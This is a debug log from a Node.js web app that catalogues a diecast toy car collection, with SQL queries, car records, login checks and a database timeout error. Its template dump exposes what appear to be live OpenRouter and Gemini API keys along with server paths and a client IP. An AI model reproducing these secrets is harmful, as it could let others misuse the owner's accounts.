  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-25T11:13:06.055Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-25T11:13:06.056Z server-connect:output restrict: undefined
2026-02-25T11:13:06.056Z server-connect:app Executing action step select
2026-02-25T11:13:06.056Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T11:13:06.059Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-25T11:13:06.059Z server-connect:app Executing action step select
2026-02-25T11:13:06.059Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T11:13:06.061Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T11:13:06.062Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-25T11:13:06.062Z server-connect:app Executing action step select
2026-02-25T11:13:06.062Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T11:13:06.062Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-25T11:13:42.094Z server-connect:router Serving templateView /
2026-02-25T11:13:42.095Z server-connect:app Executing action step identify
2026-02-25T11:13:42.095Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:42.095Z server-connect:auth No login cookie found
2026-02-25T11:13:42.095Z server-connect:output identity: false
2026-02-25T11:13:42.095Z server-connect:app Executing action step restrict
2026-02-25T11:13:42.095Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T11:13:42.095Z server-connect:output restrict: undefined
2026-02-25T11:13:43.092Z server-connect:router Serving templateView /login
2026-02-25T11:13:43.092Z server-connect:app Executing action step identify
2026-02-25T11:13:43.092Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:43.092Z server-connect:auth No login cookie found
2026-02-25T11:13:43.092Z server-connect:output identity: false
2026-02-25T11:13:43.092Z server-connect:router Render template layouts/authentication
2026-02-25T11:13:43.093Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '178.128.46.117',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T11:13:43.092Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '178.128.46.117',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '178.128.46.117',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 11:16:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 11:16:18' as DATETIME)"
}
2026-02-25T11:16:47.313Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:16:47.314Z server-connect:app Executing action step identify
2026-02-25T11:16:47.314Z server-connect:app options: { provider: 'security' }
2026-02-25T11:16:47.314Z server-connect:output identity: 1
2026-02-25T11:16:47.314Z server-connect:app Executing action step restrict
2026-02-25T11:16:47.314Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:16:47.315Z server-connect:output restrict: undefined
2026-02-25T11:16:47.316Z server-connect:app Executing action step paged
2026-02-25T11:16:47.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
